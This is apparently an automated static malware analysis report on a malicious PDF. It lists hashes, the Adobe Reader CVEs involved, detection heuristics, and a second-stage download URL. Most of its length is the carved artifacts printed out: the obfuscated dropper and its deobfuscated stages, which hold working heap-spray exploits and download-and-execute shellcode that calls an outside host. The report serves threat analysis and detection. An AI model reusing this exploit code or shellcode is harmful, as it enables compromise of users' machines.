Malicious PDF — malware analysis report

Static analysis result for SHA-256 f5bba7939352eaf7…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: e93b1780d97a2b9f648ebf4fed27fad8 SHA-1: 312d477c91e1df5b073445cbe6b20c7307b4539b SHA-256: f5bba7939352eaf7e1fd3f1f936cd67abe918c7394cce8d23af13bc98e99f6f0
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple CVEs in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript contains a URL, 'http://vsabhymw.ce.ms/w.php?f=17&e=5', which is likely used to download and execute a second-stage payload. The exploit kit and shellcode download URL strongly indicate a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vsabhymw.ce.ms/w.php?f=17&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11649 bytes
SHA-256: 0e0b87db6c880ebec76e0b7d836254f4b17b816e5076bf5564b8494845b824ea
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(35,69,5,51,5,53,59,53,56,56,3,43,15,12,16,53,44,45,37,63,19,19,44,45,69,28,51,25,44,45,37,49,69,28,44,45,65,49,51,25,44,45,51,0,63,25,44,45,63,63,49,69,44,45,19,25,28,40,44,45,25,40,37,3,44,45,37,3,63,40,44,45,40,28,25,40,44,45,65,40,37,3,44,45,49,19,59,28,44,45,65,19,37,3,44,45,63,63,40,37,44,45,19,19,14,3,44,45,49,51,37,3,44,45,40,63,63,28,44,45,63,63,65,25,44,45,37,59,72,28,44,45,59,49,51,51,44,45,69,69,59,40,44,45,3,37,69,69,44,45,25,40,37,3,44,45,28,63,63,40,44,45,63,0,25,19,44,45,65,49,40,19,44,45,37,65,69,3,44,45,72,25,63,25,44,45,51,25,37,49,44,45,49,59,65,49,44,45,51,3,51,0,44,45,49,59,25,28,44,45,37,3,49,19,44,45,63,28,65,49,44,45,65,25,37,3,44,45,65,37,63,49,44,45,69,49,40,63,44,45,37,3,49,19,44,45,72,40,65,19,44,45,69,49,40,63,44,45,28,0,63,63,44,45,25,59,25,0,44,45,71,14,69,28,44,45,28,49,40,63,44,45,14,3,63,63,44,45,3,51,40,69,44,45,63,37,59,40,44,45,65,25,69,72,44,45,28,59,40,37,44,45,40,14,28,3,44,45,14,71,40,63,44,45,51,3,25,40,44,45,63,3,69,59,44,45,65,49,59,69,44,45,49,51,51,19,44,45,49,51,37,3,44,45,40,63,72,25,44,45,19,19,14,14,44,45,40,28,37,3,44,45,37,14,25,3,44,45,51,28,25,19,44,45,49,25,69,69,44,45,40,28,72,25,44,45,14,37,37,3,44,45,14,14,40,63,44,45,40,25,37,3,44,45,40,63,37,3,44,45,71,3,28,49,44,45,49,0,49,51,44,45,51,3,28,63,44,45,71,14,49,63,44,45,19,37,37,3,44,45,37,40,72,40,44,45,40,28,65,14,44,45,65,25,63,63,44,45,0,19,40,63,44,45,69,63,51,3,44,45,19,37,37,3,44,45,37,3,40,37,44,45,19,71,69,65,44,45,49,0,40,49,44,45,0,37,51,37,44,45,69,69,69,69,44,45,51,72,69,69,44,45,51,37,69,0,44,45,40,40,40,40,44,45,40,40,40,40,44,45,49,40,49,37,44,45,25,40,19,71,44,45,69,69,19,37,44,45,40,40,40,40,44,45,49,40,40,40,44,45,28,40,37,63,44,45,49,40,59,0,44,45,37,3,49,49,44,45,37,3,51,28,44,45,59,40,49,51,44,45,28,63,37,63,44,45,69,69,40,49,44,45,19,37,51,63,44,45,19,51,19,69,44,45,40,40,40,40,44,45,65,49,19,37,44,45,19,28,65,72,44,45,49,25,19,14,44,45,59,19,69,69,44,45,28,25,37,63,44,45,37,3,40,37,44,45,51,37,51,37,44,45,69,69,19,59,44,45,69,69,69,69,44,45,40,72,51,3,44,45,65,72,51,3,44,45,51,28,37,59,44,45,40,59,40,25,44,45,40,40,40,40,44,45,49,28,37,14,44,45,40,28,72,25,44,45,40,25,28,65,44,45,65,72,72,25,44,45,19,65,19,49,44,45,28,65,65,63,44,45,72,25,25,25,44,45,65,19,40,25,44,45,63,63,65,72,44,45,28,65,63,72,44,45,72,25,25,25,44,45,72,40,40,37,44,45,65,63,72,14,44,45,49,63,72,40,44,45,69,37,19,37,44,45,40,40,40,40,44,45,69,69,40,40,44,45,40,28,49,19,44,45,51,37,37,3,44,45,28,0,63,63,44,45,28,65,49,59,44,45,59,14,25,25,44,45,65,65,40,40,44,45,19,72,65,40,44,45,28,65,65,25,44,45,59,14,25,25,44,45,72,51,40,49,44,45,19,28,19,25,44,45,28,19,19,28,44,45,59,14,25,25,44,45,40,40,40,0,44,45,37,71,49,0,44,45,40,25,28,59,44,45,37,37,63,40,44,45,59,14,25,25,44,45,25,59,40,25,44,45,19,71,49,59,44,45,19,71,40,40,44,45,49,63,40,40,44,45,19,71,49,65,44,45,69,69,40,40,44,45,59,25,49,19,44,45,28,40,37,49,44,45,59,19,65,49,44,45,40,40,19,71,44,45,69,69,49,63,44,45,40,25,49,19,44,45,40,40,19,71,44,45,51,3,37,63,44,45,49,63,40,28,44,45,49,19,69,69,44,45,37,63,40,25,44,45,40,28,28,63,44,45,40,72,51,3,44,45,59,63,51,3,44,45,37,40,25,65,44,45,40,40,63,69,44,45,69,71,65,49,44,45,37,40,25,65,44,45,40,40,63,69,44,45,28,25,65,49,44,45,40,40,19,71,44,45,69,51,19,71,44,45,49,19,69,69,44,45,51,37,40,37,44,45,69,51,0,28,44,45,69,69,69,69,44,45,25,51,37,51,44,45,51,28,40,51,44,45,69,51,0,37,44,45,40,51,37,71,44,45,19,69,37,0,44,45,3,14,40,59,44,45,28,71,63,63,44,45,49,3,37,71,44,45,28,19,59,3,44,45,65,0,25,19,44,45,59,71,63,19,44,45,65,40,72,69,44,45,65,25,19,37,44,45,65,40,65,25,44,45,72,69,63,71,44,45,65,19,72,69,44,45,19,59,65,63,44,45,19,37,19,72,44,45,19,14,65,0,44,45,72,51,65,65,44,45,19,49,19,63,44,45,19,14,72,51,44,45,72,69,65,63,44,45,72,51,65,65,44,45,19,37,65,40,44,45,63,69,65,40,44,45,63,14,19,19,44,45,63,65,63,59,44,45,19,49,72,19,44,45,63,49,63,14,44,45,40,40,40,40,53,67,69,45,23,28,13,35,8,23,75,51,2,55,1,5,1,71,26,27,21,56,24,39,74,35,18,51,5,1,71,47,18,51,23,12,13,74,33,72,32,27,21,56,24,1,71,36,16,1,71,67,17,1,71,16,1,71,47,15,45,3,15,13,1,35,23,12,5,40,26,27,21,20,72,56,67,1,51,13,45,1,23,75,1,71,67,17,75,69,45,23,28,13,35,8,23,75,3,22,5,56,24,55,71,1,75,14,4,12,16,23,51,39,75,7,1,1,71,21,5,56,67,55,71,1,75,55,39,16,40,22,40,28,40,28,40,28,40,28,67,55,71,1,75,71,14,14,1,16,40,22,25,40,40,40,40,40,67,55,71,1,75,64,71,21,18,8,71,14,16,45,23,51,15,28,71,64,51,5,3,43,15,12,56,67,55,71,1,75,15,28,9,18,51,23,16,64,71,21,18,8,71,14,47,18,51,23,12,13,74,33,72,67,55,71,1,75,27,21,16,71,14,14,1,52,5,15,28,9,18,51,23,36,40,22,63,37,56,67,55,71,1,75,21,71,1,15,64,16,45,23,51,15,28,71,64,51,5,42,44,45,0,40,0,40,44,45,0,40,0,40,42,56,67,21,71,1,15,64,16,51,2,55,1,5,21,71,1,15,64,26,27,21,56,67,55,71,1,75,28,8,45,23,13,72,16,5,55,39,52,40,22,25,40,40,40,40,40,56,20,71,14,14,1,67,69,8,1,5,55,71,1,75,28,8,45,23,13,16,40,67,28,8,45,23,13,32,28,8,45,23,13,72,67,28,8,45,23,13,36,36,56,24,14,4,12,6,28,8,45,23,13,48,16,21,71,1,15,64,36,64,71,21,18,8,71,14,67,17,75,55,71,1,75,8,55,51,1,69,18,8,39,16,45,23,51,15,28,71,64,51,5,42,44,45,40,28,40,28,44,45,40,28,40,28,42,56,67,39,74,35,18,51,5,8,55,51,1,69,18,8,39,47,18,51,23,12,13,74,32,25,25,0,49,72,56,24,8,55,51,1,69,18,8,39,36,16,8,55,51,1,69,18,8,39,67,17,75,13,74,35,15,47,28,8,18,18,71,3,61,13,8,1,51,16,58,8,18,18,71,3,47,28,8,18,18,51,28,13,68,73,71,35,18,70,23,69,8,5,24,15,45,3,43,10,42,42,26,73,15,12,10,8,55,51,1,69,18,8,39,17,56,67,17,75,69,45,23,28,13,35,8,23,75,64,1,35,23,13,69,5,56,24,23,8,64,16,45,23,51,15,28,71,64,51,5,42,44,45,40,7,40,7,44,45,40,7,40,7,44,45,40,7,40,7,44,45,40,7,40,7,42,56,67,55,71,1,75,64,71,21,18,8,71,14,16,45,23,51,15,28,71,64,51,5,3,43,15,12,56,67,74,51,71,64,3,18,8,28,4,16,23,8,64,36,64,71,21,18,8,71,14,67,3,35,12,3,18,8,28,4,16,45,23,51,15,28,71,64,51,5,42,44,45,40,7,40,7,44,45,40,7,40,7,42,56,67,74,51,71,14,51,1,15,35,2,51,16,72,40,67,15,64,1,71,21,16,74,51,71,14,51,1,15,35,2,51,36,74,51,71,64,3,18,8,28,4,47,18,51,23,12,13,74,67,39,74,35,18,51,5,3,35,12,3,18,8,28,4,47,18,51,23,12,13,74,32,15,64,1,71,21,56,24,3,35,12,3,18,8,28,4,36,16,3,35,12,3,18,8,28,4,67,17,75,69,35,18,18,3,18,8,28,4,16,3,35,12,3,18,8,28,4,47,15,45,3,15,13,1,35,23,12,5,40,26,15,64,1,71,21,56,67,3,18,8,28,4,16,3,35,12,3,18,8,28,4,47,15,45,3,15,13,1,35,23,12,5,40,26,3,35,12,3,18,8,28,4,47,18,51,23,12,13,74,52,15,64,1,71,21,56,67,39,74,35,18,51,5,3,18,8,28,4,47,18,51,23,12,13,74,36,15,64,1,71,21,32,40,22,25,40,40,40,40,56,24,3,18,8,28,4,16,3,18,8,28,4,36,3,18,8,28,4,36,69,35,18,18,3,18,8,28,4,67,17,75,73,51,73,16,23,51,39,75,7,1,1,71,21,5,56,67,69,8,1,5,35,16,40,67,35,32,59,25,40,40,67,35,36,36,56,24,73,51,73,6,35,48,16,3,18,8,28,4,36,74,51,71,64,3,18,8,28,4,67,17,75,55,71,1,75,23,45,73,16,59,72,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,67,45,13,35,18,47,64,1,35,23,13,69,5,42,44,25,49,40,40,40,69,42,26,23,45,73,56,67,17,75,69,45,23,28,13,35,8,23,75,12,51,13,35,28,8,23,5,56,24,55,71,1,75,71,1,1,21,16,23,51,39,75,7,1,1,71,21,5,56,67,35,69,5,71,64,64,47,14,8,28,47,58,8,18,18,71,3,47,12,51,13,70,28,8,23,56,24,55,71,1,75,64,71,21,18,8,71,14,16,45,23,51,15,28,71,64,51,5,3,43,15,12,56,67,55,71,1,75,74,30,27,49,40,40,58,31,16,64,71,21,18,8,71,14,47,18,51,23,12,13,74,33,72,67,55,71,1,75,27,21,16,40,22,25,40,40,40,40,40,52,5,74,30,27,49,40,40,58,31,36,40,22,63,37,56,67,55,71,1,75,21,71,1,15,64,16,45,23,51,15,28,71,64,51,5,42,44,45,0,40,0,40,44,45,0,40,0,40,42,56,67,21,71,1,15,64,16,51,2,55,1,5,21,71,1,15,64,26,27,21,56,67,55,71,1,75,64,49,7,43,62,19,49,69,16,5,40,22,40,28,40,28,40,28,40,28,52,40,22,25,40,40,40,40,40,56,20,40,22,25,40,40,40,40,40,67,69,8,1,5,55,71,1,75,55,27,28,11,29,0,19,21,16,40,67,55,27,28,11,29,0,19,21,32,64,49,7,43,62,19,49,69,67,55,27,28,11,29,0,19,21,36,36,56,24,71,1,1,21,6,55,27,28,11,29,0,19,21,48,16,21,71,1,15,64,36,64,71,21,18,8,71,14,67,17,75,55,71,1,75,13,66,57,74,31,3,50,39,16,45,23,51,15,28,71,64,51,5,42,44,40,0,42,56,67,39,74,35,18,51,5,13,66,57,74,31,3,50,39,47,18,51,23,12,13,74,32,40,22,25,40,40,40,56,24,13,66,57,74,31,3,50,39,36,16,13,66,57,74,31,3,50,39,67,17,75,13,66,57,74,31,3,50,39,16,42,31,47,42,36,13,66,57,74,31,3,50,39,67,71,64,64,47,14,8,28,47,58,8,18,18,71,3,47,12,51,13,70,28,8,23,5,13,66,57,74,31,3,50,39,56,67,17,17,75,71,34,18,45,12,35,23,15,16,71,64,64,47,64,18,45,12,70,23,15,67,55,71,1,75,15,55,16,64,71,1,15,51,70,23,13,5,71,64,64,47,55,35,51,39,51,1,41,51,1,15,35,8,23,47,13,8,61,13,1,35,23,12,5,56,47,28,74,71,1,7,13,5,40,56,56,67,69,8,1,5,55,71,1,75,35,16,40,67,35,32,71,34,18,45,12,35,23,15,47,18,51,23,12,13,74,67,35,36,36,56,24,35,69,5,71,34,18,45,12,35,23,15,6,35,48,47,23,71,73,51,16,16,53,68,61,28,1,35,64,13,53,56,24,55,71,1,75,18,55,16,71,34,18,45,12,35,23,15,6,35,48,47,55,51,1,15,35,8,23,67,17,17,75,35,69,5,5,18,55,16,16,0,56,38,38,5,5,15,55,16,16,37,56,54,54,5,18,55,32,16,37,47,59,72,56,56,56,24,12,51,13,35,28,8,23,5,56,67,17,51,18,15,51,75,35,69,5,18,55,16,16,65,47,59,56,24,64,1,35,23,13,69,5,56,67,17,51,18,15,51,75,35,69,5,5,5,15,55,16,16,19,56,38,38,5,15,55,16,16,65,56,56,54,54,5,18,55,32,65,47,59,59,56,56,24,3,22,5,56,67,17,51,18,15,51,75,35,69,5,5,18,55,60,16,0,47,59,56,38,38,5,18,55,32,16,0,47,72,56,38,38,5,18,55,60,16,37,47,59,63,56,38,38,5,18,55,32,16,37,47,59,65,56,56,24,69,45,23,28,13,35,8,23,75,71,5,56,24,45,13,35,18,47,64,1,35,23,13,14,5,53,64,46,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,75,10,75,21,21,21,21,59,59,59,53,26,23,51,39,75,29,71,13,51,5,56,56,67,17,55,71,1,75,74,16,71,64,64,47,64,18,45,12,70,23,15,67,69,8,1,5,55,71,1,75,69,16,40,67,69,32,74,47,18,51,23,12,13,74,67,69,36,36,56,24,35,69,5,74,6,69,48,47,23,71,73,51,16,16,53,68,61,28,1,35,64,13,53,56,24,55,71,1,75,35,16,74,6,69,48,47,55,51,1,15,35,8,23,67,17,17,75,35,69,5,5,35,60,37,47,59,72,56,54,54,5,35,32,37,47,72,56,56,24,28,16,23,51,39,75,7,1,1,71,21,5,56,67,55,71,1,75,14,16,45,23,51,15,28,71,64,51,5,53,44,45,0,40,0,40,44,45,0,40,0,40,53,56,67,55,71,1,75,51,16,45,23,51,15,28,71,64,51,5,3,43,15,12,56,67,39,74,35,18,51,5,14,47,18,51,23,12,13,74,32,16,40,22,37,40,40,40,56,24,14,36,16,14,67,17,14,16,14,47,15,45,3,15,13,1,5,40,26,40,22,37,40,40,40,52,51,47,18,51,23,12,13,74,56,67,69,8,1,5,69,16,40,67,69,32,72,0,40,40,67,69,36,36,56,24,28,6,69,48,16,14,36,51,67,17,71,5,56,67,71,5,56,67,13,1,21,24,13,74,35,15,47,73,51,14,35,71,47,23,51,39,34,18,71,21,51,1,5,23,45,18,18,56,67,17,28,71,13,28,74,5,51,56,24,17,71,5,56,67,17,17);
a=new String("9rzbk([Ao_:Qgtds=}l6/yxn{4,qcDWN<*Pi+8|w0V'j%u@.]5Ge-'&v)MC1>SK3p7U;EfIa2mh ");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 319b328c56f604fc1cafa75866a1e5ef09ab10efd78111fca2e613ec25947ebb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u762f%u6173%u6862%u6d79%u2e77%u6563%u6d2e%u2f73%u2e77%u6870%u3f70%u3d66%u3731%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: d1fb44b548229798a98e271ac496e53ceee48838d1bed140157cdde3e44ace49
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u762f%u6173%u6862%u6d79%u2e77%u6563%u6d2e%u2f73%u2e77%u6870%u3f70%u3d66%u3731%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	